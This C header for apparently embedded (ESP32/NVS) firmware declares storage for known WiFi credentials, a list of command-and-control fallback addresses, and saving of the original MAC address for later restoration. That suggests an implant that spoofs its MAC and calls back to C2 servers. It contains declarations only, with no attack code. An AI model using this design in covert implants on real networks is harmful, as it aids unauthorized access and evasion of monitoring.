/*
 * fb_config.h
 * NVS-backed known networks + C2 fallback addresses.
 */
#pragma once

#include <stdbool.h>
#include <stdint.h>
#include <stddef.h>

#ifdef __cplusplus
extern "C" {
#endif

#ifndef CONFIG_FB_MAX_KNOWN_NETWORKS
#define CONFIG_FB_MAX_KNOWN_NETWORKS 16
#endif

#ifndef CONFIG_FB_MAX_C2_FALLBACKS
#define CONFIG_FB_MAX_C2_FALLBACKS 4
#endif

#define FB_SSID_MAX_LEN  33   /* 32 + NUL */
#define FB_PASS_MAX_LEN  65   /* 64 + NUL */
#define FB_ADDR_MAX_LEN  64   /* "ip:port" or "host:port" */

/* ============================================================
 * Known WiFi networks
 * ============================================================ */

typedef struct {
    char ssid[FB_SSID_MAX_LEN];
    char pass[FB_PASS_MAX_LEN];
} fb_network_t;

/* Init NVS namespace + migrate from old rt_cfg if needed. */
void fb_config_init(void);

bool fb_config_net_add(const char *ssid, const char *pass);
bool fb_config_net_remove(const char *ssid);
int fb_config_net_list(fb_network_t *out, int max_count);
int fb_config_net_count(void);

/* ============================================================
 * C2 fallback addresses
 * ============================================================ */

typedef struct {
    char addr[FB_ADDR_MAX_LEN];   /* "ip:port" */
} fb_c2_addr_t;

bool fb_config_c2_add(const char *addr);
bool fb_config_c2_remove(const char *addr);
int fb_config_c2_list(fb_c2_addr_t *out, int max_count);
int fb_config_c2_count(void);

/* ============================================================
 * Original MAC storage (for restoration)
 * ============================================================ */

void fb_config_save_orig_mac(void);
bool fb_config_get_orig_mac(uint8_t mac[6]);

#ifdef __cplusplus
}
#endif